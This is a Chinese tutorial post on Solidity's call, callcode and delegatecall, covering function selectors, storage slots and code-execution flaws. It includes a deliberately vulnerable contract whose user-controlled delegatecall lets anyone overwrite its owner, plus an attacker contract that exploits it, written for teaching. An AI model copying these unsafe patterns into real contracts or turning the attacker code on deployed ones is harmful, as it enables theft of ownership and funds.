目錄
1. 三種 call 方式
2. 兩種 call 參數(shù)類型
3. 漏洞場(chǎng)景
3.1?delegatecall
3.2 call
1. 三種 call 方式
Solidity 中一個(gè)合約調(diào)用其他合約的函數(shù)有三種方式:
<address>.call(...) returns (bool)
<address>.callcode(...) returns (bool)
<address>.delegatecall(...) returns (bool)
1)call()
call 是最常用的調(diào)用方式,call 的外部調(diào)用上下文是被調(diào)用者合約,也就是指執(zhí)行環(huán)境為被調(diào)用者的運(yùn)行環(huán)境,調(diào)用后內(nèi)置變量 msg 的值會(huì)修改為調(diào)用者。
2)delegatecall()
delegatecall 的外部調(diào)用上下文是調(diào)用者合約,也就是指執(zhí)行環(huán)境為調(diào)用者的運(yùn)行環(huán)境,調(diào)用后內(nèi)置變量 msg 的值不會(huì)修改為調(diào)用者。
3)callcode()
callcode 的外部調(diào)用上下文是調(diào)用者合約,也就是指執(zhí)行環(huán)境為調(diào)用者的運(yùn)行環(huán)境,調(diào)用后內(nèi)置變量 msg 的值會(huì)修改為調(diào)用者
2. 兩種 call 參數(shù)類型
傳入 call 函數(shù)的參數(shù)有兩種類型:
1)函數(shù)簽名
函數(shù)簽名 = 函數(shù)名 + (參數(shù)類型列表),uint 和 int 要寫為 uint256 和 int256
func(uint arg1, int arg2)? ==>? func(uint256,int256)
?調(diào)用方式:
<addr>.call(bytes)
addr.call(abi.encodeWithSignature("func(uint256)", arg1));
addr.call(msg.data);
msg.data
msg.data?是 solidity 中的一個(gè)全局變量,值為完整的 calldata(調(diào)用函數(shù)時(shí)傳入的數(shù)據(jù)),前4個(gè)字節(jié)就是函數(shù)選擇器,后面參數(shù)的每個(gè)值會(huì)轉(zhuǎn)換為固定長(zhǎng)度為 32bytes 的十六進(jìn)制字符串。如果有多個(gè)參數(shù),則串聯(lián)在一起。
如圖,three_call 的參數(shù)值,和 msg.data 的值是一樣的
2)函數(shù)選擇器
函數(shù)選擇器:函數(shù)簽名的 Keccak 哈希后的前 4個(gè)字節(jié),后邊跟參數(shù)
<addr>.call(bytes4 selector)
addr.call(bytes4(keccak-256("func(uint)")),arg1);
addr.call(abi.encodeWithSelector(0x6a627842, "0x2c44b726ADF1963cA47Af88B284C06f30380fC78"))
3. 漏洞場(chǎng)景
前置知識(shí):EVM 的 storage
單個(gè)合約中狀態(tài)變量存儲(chǔ)在 storage 中,會(huì)按聲明順序存入卡槽 slot
contract A{
address owner;
B addrB;
}
3.1?delegatecall
delegatecall 的變化
當(dāng)合約 A 和 合約 C 都有狀態(tài)變量,delegatecall 調(diào)用的函數(shù)如果修改了合約 C 第一狀態(tài)變量的值,那么實(shí)際修改的是合約 A 中第一個(gè)狀態(tài)變量的值,也就是合約 A 的 slot 0 中的狀態(tài)變量 owner
漏洞場(chǎng)景:
- delegatecall 地址可控,可以修改調(diào)用者合約狀態(tài)變量
- delegatecall 參數(shù)可控,可以執(zhí)行被調(diào)用合約的敏感函數(shù),如:使用了 msg.data 作為 delegatecall 參數(shù)
pragma solidity ^0.4.23;
// 合約 A
contract A{
address owner;
B addrB;
constructor() {
owner = msg.sender;
}
function changeOwner(address _newOwner) public {
require(msg.sender == owner);
owner = _newOwner;
}
function setB(B addr) public {
addrB = addr;
}
// vuln1:delegatecall 地址可控
function vuln1(address _contract) public {
_contract.delegatecall(abi.encodeWithSignature("func()"));
}
// vuln2:delegatecall 參數(shù)可控
function() public{
addrB.delegatecall(msg.data);
}
}
// 合約 B
contract B {
address public owner;
function init() public {
owner = msg.sender;
}
}
攻擊合約
pragma solidity ^0.4.23;
import "./A.sol";
contract Attacker{
address public owner;
// 攻擊 vuln1
function func() public {
// 修改合約 A 狀態(tài)變量 owner
owner = msg.sender;
}
function attack_vuln2(address addrA) public {
// 調(diào)用合約 A 中不存在的函數(shù) init,進(jìn)而執(zhí)行 fallback 函數(shù),
// 而此時(shí) msg.data 的前4個(gè)字節(jié)就是 init 函數(shù)選擇器,
// 進(jìn)而執(zhí)行了合約 B 的 init 函數(shù)
// A(addrA).init();
addrA.call(abi.encodeWithSignature("init()"));
}
}
3.2 call
使用 call 調(diào)用別的合約的函數(shù)時(shí),執(zhí)行環(huán)境是被調(diào)用的合約執(zhí)行環(huán)境,改變的也是被調(diào)用合約的狀態(tài)變量。在合約內(nèi)部實(shí)例化別的合約,也是相當(dāng)于是 call 調(diào)用。
call 的漏洞場(chǎng)景和 delegatecall 差不多:
- call 地址可控:執(zhí)行任意地址合約的的同名函數(shù)
- call 參數(shù)可控:執(zhí)行該地址的合約的任意函數(shù)
- 調(diào)用函數(shù)簽名可控
- 調(diào)用函數(shù)的參數(shù)可控
EVM 的一個(gè)特性:EVM 在獲取參數(shù)的時(shí)候沒有參數(shù)個(gè)數(shù)校驗(yàn)的過程,從前往后取值,取夠參數(shù)個(gè)數(shù)后就把后面的多余參數(shù)截?cái)嗔?,在編譯和運(yùn)行階段都不會(huì)報(bào)錯(cuò)。文章來源:http://www.zghlxwxcb.cn/news/detail-768816.html
如下:后面的參數(shù) 4 和 5 會(huì)被截?cái)?span toymoban-style="hidden">文章來源地址http://www.zghlxwxcb.cn/news/detail-768816.html
addr.call(bytes4(keccak256("test(uint256,uint256,uint256)")),1,2,3,4,5)
到了這里,關(guān)于Solidity 代碼執(zhí)行漏洞原理的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!